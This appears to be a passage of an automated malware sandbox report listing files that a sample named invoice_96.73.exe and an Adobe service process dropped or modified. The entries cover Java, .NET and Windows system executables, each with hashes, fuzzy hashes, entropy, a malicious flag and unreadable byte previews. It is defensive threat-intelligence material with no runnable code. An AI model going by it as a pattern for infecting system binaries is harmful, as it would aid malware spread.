SSDEEP:	12288:KqV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:KSVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	9B6E680FCAF60ECB3EEBF0981627E5AB
SHA1:	C121B9057BDB5DE2FB7EF07A3CC6A829E4E4EEC7
SHA-256:	6FB9FCA9C0BB0765D2CC6A03795DE2CFF5E1DBB37D87AE72939A4515DC8C99BC
SHA-512:	139996E1DDE923B27A84CAB09774D2298E5706442C33EE339785FCB65C41F1F514078AD26FA3DFEDE52D94883C9181084311CD0DEB1FC578F89E02921450E3D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P...............................................................$..P....P..h....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...h....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\ssvagent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1562112
Entropy (8bit):	4.097513477371846
Encrypted:	false
SSDEEP:	12288:0ZddtaNtuOOV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:IOuVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	5F6AF0D40D0AB7B0DCF88673911B2B7B
SHA1:	004B12046056D8CDFBAD13B6B4CFD537777BF86A
SHA-256:	5B8692741EB4F72092C7A155272C9426DBF0AC71CDCDD2D11DC94661454570F2
SHA-512:	44831A90B922CFA76F814C50B553611732B5B5F41684854E953EC68399D4136D2B9D6D405B3700A668BED70D1C3CBEACAD74A11EC15212A321D53EF5702FC16F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............N...N...N.>=N...N..9N...N.>?N...N.>.N...N.."N...N..2N...N...N...N...N...N.>.N...N.>;N...N.><N...NRich...N................PE..d....`OX.........."..........j......4..........@................................................................................................x...................................P.......................................................0........................text............................... ..`.rdata..*L.......N..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\tnameserv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000963489792153
Encrypted:	false
SSDEEP:	12288:pJV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:pzVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	986640509FB9F57FDEAD127043EED6A6
SHA1:	76E197A6EEC089CED5A6EBCC4E84A295574ABF04
SHA-256:	85F67E4C6E39DBA3D8193F30A933C8FEB82F03B75BEA3C7E884EF8905562398D
SHA-512:	859601C4E836D9CF2ACB344E2F2A96963D7C39C33C0E20C940A6DF0B7EA94F972976C6D9A61B003A0D05D433665A70A2A54602C03A9DD7617DDE77F3880EB5B6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."................. ..........@.............................P......S........................................................$..P....P..\....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...\....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\unpack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1688576
Entropy (8bit):	4.318424550665476
Encrypted:	false
SSDEEP:	24576:TKQuT+wNTwGVg9N9JMlDlfjRiVuVsWt5MJMs:WfTJNTwCgFIDRRAubt5M
MD5:	C79C5866767E12CFF86450CF47A1F8CB
SHA1:	3F6A85774024474CC9DFE85E948A822EA4EEB1E5
SHA-256:	685EE9B94B99B2E653891EBFEB8ED7A5735971491D1440D350B7DD523056A33F
SHA-512:	D43C172BD65B8ED36313DA4B8BA50F70701C661C2E9BC42CD8A5472A2DDBA9923A028C145DD324FAAB7987490B2667D94BD32F1B7DC1C06A791255183C7B7ED5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FZ...;l^.;l^.;l^.C.^.;l^.u.^.;l^...^.;l^.;m^K;l^...^.;l^...^.;l^...^.;l^...^.;l^...^.;l^Rich.;l^........PE..d....]OX.........."................. ..........@................................................................................................<...............L...................p...................................................h............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.idata..o...........................@....rsrc...............................@..@.reloc..............................@...................................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2106368
Entropy (8bit):	6.889853511062774
Encrypted:	false
SSDEEP:	24576:Cj9F3pnjgGHVVPZRR+riYiPe2QrUuxDnhHu8BsmVg9N9JMlDlfjRiVuVsWt5MJMs:uMgVRWpdnrUuxDhO8HgFIDRRAubt5M
MD5:	10E89C8F206314FB02048F2CE4C83BFB
SHA1:	C743E3E41D20A88C00D9B6819C55EC7C9B01AF55
SHA-256:	F304247AF7F41AD898EC85E6EAF3483BABA1F6F3D05AA66B087AD0AA97EEA202
SHA-512:	968FAFE48F87DF60466514AE9B22B55985D88D45D84384A99ACA060DC74E8E388BB530168609302DD9B681ABB0E05EF145A25CE01E20E01EFDC1D7DE27FCADDA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..S%..S%..S%..t..F%..Z]..P%..Z]n.B%..Z]y.J%..S%..$..Z]i.F%..Z]`.'%..Z]~.R%..Z]{.R%..RichS%..........................PE..d......L.........."........................................................... ....... .............. ......................................8........P.............................0...........................................$....................................text...`........................... ..`.data...p~... ...4..................@....pdata...............:..............@..@.rsrc.......P...,..................@..@.reloc... ..........................@...U..L.......L.......L.......L....7..L.......L.......L....0..L....,..L....Q..L....%..L.......L.......L.......L.......L....0..L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.msvcrt.dll.USER32.dll.OLEAUT32.dll.ole32.dll.WSOCK32.dll.ws2_32.DLL.IPHLPAPI.DLL.SHLWAPI.dll.USERENV.dll.WTSAPI32.dl

C:\Users\user\AppData\Local\Temp\autABDA.tmp

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.995248566590182
Encrypted:	true
SSDEEP:	6144:+DIZrt61G9MxhbIFN8RdW8LfECCDUBgDLO4jwxfm9SEy87zXDqXFEmlKr5cn:+AZ61G9MbJRdPLMRUB864sxf+PyOXDqX
MD5:	7EEDB9A99831CB037F35277E80A47D25
SHA1:	909916D1A61B96E212968E3BD0B7C247FF9F47BD
SHA-256:	EC19A24BAB6C6698F41F536D2C837983B5D7D957823CFA5BA1F291E6ACCE33F9
SHA-512:	81601D69A103E3D1914BBB51A1F36F8A418CBE04D3AA92D11A06DB87BC60557D75B7011570CE5B47F2CAC9924502CB8AF48FE4AAA0DBE0802A2A2A2E946A33FA
Malicious:	false
Preview:	}..R0N28QTEH..1V.MRAQI4Q.V0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28.TEHZK.XP.[.p.5..wd<*!.>@W2&$%t7P8>"&a3,.#=8.=-rw.a.8;!-zY<\tMRAQI4Q1W9.~2T..X2.x(3.+...h!6.....4$.)..i4"..=R>m-5.QI4QHV0T..3N~9TT.>..1VPMRAQI.QJW;UHR3.68UTEHTT1V.YRAQY4QH&4TCRsN2(UTEJTT7VPMRAQI2QHV0TCR3>68UVEHTT1VRM..QI$QHF0TCR#N2(UTEHTT!VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1V~979%I4Q<.4TCB3N2`QTEXTT1VPMRAQI4QHV.TC23N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEH

C:\Users\user\AppData\Local\Temp\trickstress

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.995248566590182
Encrypted:	true
SSDEEP:	6144:+DIZrt61G9MxhbIFN8RdW8LfECCDUBgDLO4jwxfm9SEy87zXDqXFEmlKr5cn:+AZ61G9MbJRdPLMRUB864sxf+PyOXDqX
MD5:	7EEDB9A99831CB037F35277E80A47D25
SHA1:	909916D1A61B96E212968E3BD0B7C247FF9F47BD
SHA-256:	EC19A24BAB6C6698F41F536D2C837983B5D7D957823CFA5BA1F291E6ACCE33F9
SHA-512:	81601D69A103E3D1914BBB51A1F36F8A418CBE04D3AA92D11A06DB87BC60557D75B7011570CE5B47F2CAC9924502CB8AF48FE4AAA0DBE0802A2A2A2E946A33FA
Malicious:	false
Preview:	}..R0N28QTEH..1V.MRAQI4Q.V0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28.TEHZK.XP.[.p.5..wd<*!.>@W2&$%t7P8>"&a3,.#=8.=-rw.a.8;!-zY<\tMRAQI4Q1W9.~2T..X2.x(3.+...h!6.....4$.)..i4"..=R>m-5.QI4QHV0T..3N~9TT.>..1VPMRAQI.QJW;UHR3.68UTEHTT1V.YRAQY4QH&4TCRsN2(UTEJTT7VPMRAQI2QHV0TCR3>68UVEHTT1VRM..QI$QHF0TCR#N2(UTEHTT!VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1V~979%I4Q<.4TCB3N2`QTEXTT1VPMRAQI4QHV.TC23N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEHTT1VPMRAQI4QHV0TCR3N28UTEH

C:\Users\user\AppData\Roaming\23f9eaead4df6ab2.bin

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.983858549622769
Encrypted:	false
SSDEEP:	384:QRvIicY1qxZa66LuMc7MyNgpinNQHbnfQYeAc:x0AxZNtSwnIbnnBc
MD5:	1F2CAA7BC8EE995DA3CC740C3F7D1D4A
SHA1:	9936BE6E2826B231DE79739BEAAAFF11BA0ED172
SHA-256:	B00A77B53D872B61285BFB2E6F690201D556A700E61D3DBA3D83F45F81713EF3
SHA-512:	8A1C3F9B974060F66FAB25F9C7C4141C4580096000EA8F678CB44FAF1EF9A559F97FBED69A6C9762339D788C6B769E013E01CE7174ECDC568E927AC67D7D2785
Malicious:	false
Preview:	...b..2..?/T....dl.>2o.....x......\~-..\|..2....#.....F%V).S..._..X<TZ@.... .1`...2b....^8.2.ZB.`....6...^#...3..r_f....Y.@.....rL..?b.R.j?.8..B...jH0M..+.q1u..U8']M.i..?...:.z.....N}...m..a.".."vR\|2.6..:2.W.ukB....7...s.4x.k31.4{}.mU.E.Q..<..k5.6...pBZ..V!.(....C.&Pk.....f$..<.....PT.W.}.x.....g..LS.3.BUd.M=.[2..E.P.....pF`X....k.Hy..j...>.".+.V.[.g.x...(.L$..ll66[._..0v.".....HKzM......3..>..<(6U}...I.s..'d.r.L......&...h$#._....L.F...Y.ow#...W.,M.{8ka.`%P.3....3\5.'e...V..W..Y.b....2.."`.\Z......7.^.p.oJ.....nF?u.....X.i....._..w..6...2._.Q.g.iv...xS.m.j......=W..^...r_..+......}....d/.e..>..Q...}.o3.q...._. ..K{f..`hS..s.YW.h.]g..2U.61..w...M....^.q,].O..[.}.v.O;...8.>..}...S....."...c...dS.^..?.Q(....JZ%..Xx>..X,.......(..$.....:._...]b1......+s..W....;}.......2..GL.Q..c7q.\|...vl...9..Q~.b..M...........hdT..x..9`X/.3..w....n..&.g)..wP\|........g..$f2..?6....m..uU.}.P...a7.a.+...E....2....$.c....JG.>.y.f.T....?....9.%h.....

C:\Windows\DtcInstall.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	393
Entropy (8bit):	5.0655840169633795
Encrypted:	false
SSDEEP:	6:ptrsXwBRvFNUe+HWXkCpvSLrsXwD87oANUe+HWXkCpCrsXwPX7NfvWe+vj4Yk2v:jrsXwBRVmWnYrsXwDUmWn0rsXwP5/W8I
MD5:	48CD226D18D44B6F3B78176045C0C4BF
SHA1:	CFCE6F1019EC4918EEE8F362D7D840D4BF45EC19
SHA-256:	6BC14FFF7FE81236A8FFF7E50B057BC71F348C43FF62431237675FE19A42D387
SHA-512:	FD9AA1018B86D3953CCEFFEA9AF9DD8967912CE894B674D302648DB13D365E080B46C99DBCAB3901C0B2ED5349A4341C57A357E9EC384DF3C0CA0D08CBFAA8CE
Malicious:	false
Preview:	11-28-2024 06:12 : DTC Install error = 0, going to do CreateMutexW, d:\w7rtm\com\complus\dtc\shared\util\security.cpp (1101) ..11-28-2024 06:12 : DTC Install error = 0, successfully done CreateMutexW, d:\w7rtm\com\complus\dtc\shared\util\security.cpp (1141) ..11-28-2024 06:12 : DTC Install error = 0, IN CILogWriteAsynch::Init, d:\w7rtm\com\complus\dtc\dtc\log\logmgr\src\ilgwrta.cpp (173) ..

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1581056
Entropy (8bit):	4.151371191753446
Encrypted:	false
SSDEEP:	12288:Mez2DWUSV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:dz2DWLVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	A88AD079A4084959D6EC9C144B2577BE
SHA1:	BB0FDEF8E9B69A1D137AF89AE4AA4FDFB80377BB
SHA-256:	22949ED0C9461CFF73CF743006A2C945FEFDCC3A0231F66E802A9B39AB47E628
SHA-512:	DFD1FEC0E0A2C5D0E744AFAD4D98B85FFA82F6A9911E8BC5F6482C26E0A13D0DB06E8B57399C1DA9EAE6586084C1C1260FE68D73ED5791F4E5464F8A2EF939E2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........6..e..e..e.s.e..e.(.e..e.s.e..eI+.e..en.e..eI+.e..eI+.e..eI+.e..e..e9.e.(.e..e.(.e..e.(.e..e.(.e..eRich..e........................PE..d...8..S..........#......"..."......@x.......................................p......wv.......................................................!..........<....`..X.......................................................................p............................text...$ .......".................. ..`.data...p....@.......&..............@....pdata..X....`.....................@..@.rsrc................@..............@...........................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1537536
Entropy (8bit):	4.06270126348672
Encrypted:	false
SSDEEP:	12288:KQVEwpV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:KQTTVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	BBA4722DF24C70555CF255FAE1A123D7
SHA1:	B56C45039A5DA0ED09D435B3BED28F161719CAD1
SHA-256:	DFC1009BA5D158B79ABF7236A064367CD46E49C331FFAE134E13B5A601F23B24
SHA-512:	362A93A30DF082094ED05F17606CA8F9BB390BB2E0B66148CD0D2F8F81E1BDD1F43D86CF4CC189260A2DD001C27545D4E3E632AB20335BFA0A1FED744B9332F6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x.m_<...<...<.......8.......>.......(.......0.......>..."..>.......=...<...........1.......-.......=.......=.......=...Rich<...........................PE..d...Wn.\.........."......\...8......0].........@.....................................N.... .......... ..................................H...............\|............................\|..T...........................`\|...............p...............................text....Z.......\.................. ..`.rdata...#...p...$...`..............@..@.data...x...........................@....pdata..............................@..@.rsrc...\|...........................@..@.reloc..............................@...........................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	4.193273739028681
Encrypted:	false
SSDEEP:	12288:pmEp39wV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:Zt8Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	93D0DE2BC320CB6900054A5A15B11B8B
SHA1:	B59DB39FD929FDB308D55F4DDA19BD7A77C75B61
SHA-256:	F0CBE5072491461AC37C9468CC60F87930EC55588A75806F754E416454762E10
SHA-512:	4F65D02E30ACAF1506551910A97B65714D5A073CBC40BBFB8B8DF01D0CD53D22B79D15513BD76ED7B486D5C03A6F1B926B6617F0EF47FA65F11CEE243256FC36
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P..1.1.1.`FM..1.XP...1.cb..1..Q...1..Q.1..Q.1..Q...1.1..}1.`FH..1.XP...1.XP...1.XP.1.Rich.1.........PE..d....k.\.........."..........2.................@.............................P.......a.... .................................................<........P..l....@..h.......................T........................... ................................................text............................... ..`.rdata..............................@..@.data........ ......................@....pdata..h....@......................@..@.rsrc...l....P....... ..............@..@.reloc.......`.......(..............@...................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1557504
Entropy (8bit):	4.126538624426098
Encrypted:	false
SSDEEP:	12288:Ov1V3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:63Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	A2BCD9786CBF60D37D8490431429D8DC
SHA1:	C1AF889C21F1D4D4B6F7A4324202DE5D8C098F15
SHA-256:	79CAC0C495066891E69E205935ACEB6D199521A9FEE4F7B2A552F748B01315DF
SHA-512:	6A6C2587C98EA72C426878EC074EDEA95904F91AAB478C277BAB8F3B1C9521B151745F7CA8392A4C760E2C5D62EDA1A675B1055FA48BB994D519C9075F836BFD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................e~.....B......e~.....e~.....e~............}......}......}.......}......}.....Rich...........................PE..L...C..S............................................................................{B........... ..........................d...........<...........................................................(:..@............................................text...B........................... ..`.data...............................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1613312
Entropy (8bit):	4.205916839131255
Encrypted:	false
SSDEEP:	24576:9TNUppvVg9N9JMlDlfjRiVuVsWt5MJMs:9TNepdgFIDRRAubt5M
MD5:	E29960A06D3F74565F82ED6205D852EE
SHA1:	FF986B7206F347BFB595346F815D7282BA590797
SHA-256:	DCFE73696C6639FFE45B1C3B1D1918FB0D400251C634C54A41A72089A75ED68C
SHA-512:	AB55F06F6DF9A9C8CF8BA21B05E3ED99D315756E6415C110EFB9EC77115B227E6974369D0508350BE6EFF89AA174260746A663163D06C6907FA589D4BA3EB729
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~KM..%...%...%.;h....%..~!...%..M....%.T.$...%.T.&...%.T. ...%.T.!...%...$.'.%.;h....%..~,...%..~....%..~'...%.Rich..%.................PE..L...ln.\.........."..........6.......R............@.........................................................................`...........l...........................p...T..............................@...............\............................text............................... ..`.data...p...........................@....idata..............................@..@.rsrc...l...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1762304
Entropy (8bit):	4.493031751834092
Encrypted:	false
SSDEEP:	24576:etzKexpWLVg9N9JMlDlfjRiVuVsWt5MJMs:etvxg5gFIDRRAubt5M
MD5:	CBA5181DB9E9B202F44EA5591F64BC5F
SHA1:	8C1D0B66F9C03E8BB6A7E36E18D5F3E421454C76
SHA-256:	89EA4C0E4FF6077EB7A306400E832A65B2617A95E824E75E9CCC3325391CD702
SHA-512:	12FB72CC814292755B1891FB955513ADC83FFF7629F86343817607F2EFBF39F33597472B6C7000483F1883FC7A2ABFE65CCC23E2557EF58E0DD079AFD8E1641F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.H-#.&~#.&~#.&~.~6.&~=.~'.&~.~..&~.~..&~.^K~!.&~.^]~,.&~#.'~..&~.~3.&~=.~".&~#..~".&~*.~".&~Rich#.&~........PE..L...P..X.....................(.......z............@..........................0......Y........................................}...........9..........................P................................<..@...............h............................text............................... ..`.rdata..L...........................@..@.data....:...........~..............@....rsrc....9.......:..................@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\23f9eaead4df6ab2.bin

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984338331722136
Encrypted:	false
SSDEEP:	384:e0EHAVyb/xHecLScjT9BmAjBS7aqs3RL6Ctx:e0U/pecL7JuAxtx
MD5:	37F42B4446E913B289E65D1D747C94B2
SHA1:	AF81E8FC0EC39D47858D4C65397F46F699AFDD27
SHA-256:	0A74238579F3B989B485A4BE52E25816BFC263C189F3BCB9F5C1AD791987B45C
SHA-512:	0B1B3A6415CAFCCD7A29100BDE3A49F822CBE8CC68EE429A33C54AD944C3658F1D7887E9C48C042A1B53E7ABF80004D8D2EE9BDE241C5E4CD8EAD77B6A44FB42
Malicious:	false
Preview:	.u.V..y....I..`w..h..p...=...{_....I.......f..\|uF.@.....wWo...k.y-....&.\j..Dk......KBK(~.?.S....y.....?R...?.......O..J.Bd..]f...Y.67.. .Q....bS.F.)....B.L%.u...".D.G.#..P.Y....q+..F.A.he... .@..V.<.L.5v.M..a&.......%J.6.{W;.IA.....I....a...l.(V..........d.H..n..@.BL..L..O1...~9#.....5...U_+;f,[(g.....+..PS...B.&..Q.{........[........i._._.....M5....h.s.k..0..s:..J..+s~...;.,j.ft....m....s^.......8+.<....>5......~..xQ.Lz.,<G[..>..9MT\I.>.....O./...YN<..../`.i...2/....2..jr..?.o...z.f}..5.a..%V..[&.?..M15.D!.8..D.y.LL.W.j.`q.O#....d.J.`....rO+.....N.!<.....3....^..9...0.W...)...\|._AJ...\|.e.."O..F]....'I.M.....W..M..[1...7.I.x.....5..3=.[...Q).?.#;x...\|...F.o.....EY.U....L..o.b.FLP.m...,x$..t.......l....(m......}..}\.....Vf..\\....> .dh....Ef.8..S...y.......@=..N.5....r.S..=r.....5.M.E37.-....N........?...@HB..&_...I..$/dP....;.bm9._.k%%>.EtI.S.k.F.9..J.@z.=$..AH....\|.....n.[..'.y.h.>*.[6.q."T.....A4sE..../..S...o...Zt{s.P}.?.........0..F

C:\Windows\SysWOW64\perfhost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1519104
Entropy (8bit):	4.0234568202993835
Encrypted:	false
SSDEEP:	12288:ZV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:jVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	4A3EAAF9D1C0E0BB3F263E7A314171FA
SHA1:	B7D7A0C18899D35D10AB400646213B0A24BD7BBF
SHA-256:	73F7E7E54F4F9D2BBEDA32027B4BBDE576086E9D9235668FECA51B7245E6DAA0
SHA-512:	5C87EB73637025BB2CE7C9D5639AB2C9E93AB80C2345D0479D09C108519F6D9E0D0CC60509A3C9F7A7E36B4AF13EA16A7A43D3BE81B83A2F125957E773A24E37
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........wL_..._..._...V..^...V..^..._.......V..@...V..F...V..^...V..^...Rich_...........PE..L.....[J..................... .......-.......@...............................`...... ............ ..........................\|2..@....P..............................................................(...@...p...t.......p............................text...&-.......................... ..`.data........@.......4..............@....rsrc........P.......6..............@..@.reloc.......p.......N..............@...o.[J......[J......[J......[J......[J......[J......[J(.....[JQ.....[Jz.....[J......[J......[J......[J......[J......[J......[J+.....[J......[JQ...........msvcrt.dll.ntdll.dll.RPCRT4.dll.API-MS-Win-Core-ErrorHandling-L1-1-0.dll.API-MS-Win-Core-Heap-L1-1-0.dll.API-MS-Win-Core-Interlocked-L1-1-0.dll.API-MS-Win-Core-LibraryLoader-L1-1-0.dll.API-MS-Win-Core-LocalRegistry-L1-1-0.dl

C:\Windows\System32\FXSSVC.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1269760
Entropy (8bit):	7.274319568698423
Encrypted:	false
SSDEEP:	24576:Rlv3yIUPE1Bubmq3OT6j35Vg9N9JMlDlfjRiVuVsWt5MJMs:RlfyIUPE1BuBeujzgFIDRRAubt5M
MD5:	862331ACCCC3F8DC8BF248C0E6CF16A3
SHA1:	A014E65F4504C52B2CF2EDA31424613FB69DA5DA
SHA-256:	87603B6CEA40695DDB56B87B6C2CB292F80C06CC0B7A00FE8A0C221CFEB9BAAC
SHA-512:	E9E0854F903C5173F8C13398DC9AAA2E335001309B6B158CCAAD58B962943684F297000D649D12BE9EA182F266F669E76765C154BF66F3BDCA08B405F2FA46CD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.>e>gP6>gP6>gP67..6<gP67..6.gP6>gQ6.fP67..6*gP67..6.gP67..64gP67..6?gP67..6?gP6Rich>gP6................PE..d...9..L.........."............................@...............................................................................................h............P..T?...................................................................................................text............................... ..`.data....c.......X..................@....pdata..T?...P...@...$..............@..@.rsrc................d..............@..@.reloc...............p..............@...U..L.......L....@..L.......L.......L....7..L.......L.......L.......L....n..L.......L....Q..L....8..L!......L....,..L9...0..LC......LP...O..L\...M..Lh...r..Ls......L............ADVAPI32.dll.ntdll.DLL.pcwum.DLL.KERNEL32.dll.msvcrt.dll.VERSION.dll.SHLWAPI.dll.RPCRT4.dll.TAPI32.dll.GDI32.dll.WINSPOOL.DRV.US

C:\Windows\System32\Locator.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	3.999993628788772
Encrypted:	false
SSDEEP:	12288:dV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:vVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	16E5AF7C321FDD4D4ABCA40501F44C18
SHA1:	33271C58B23847E9575E158BA66E9D0585A01E2C
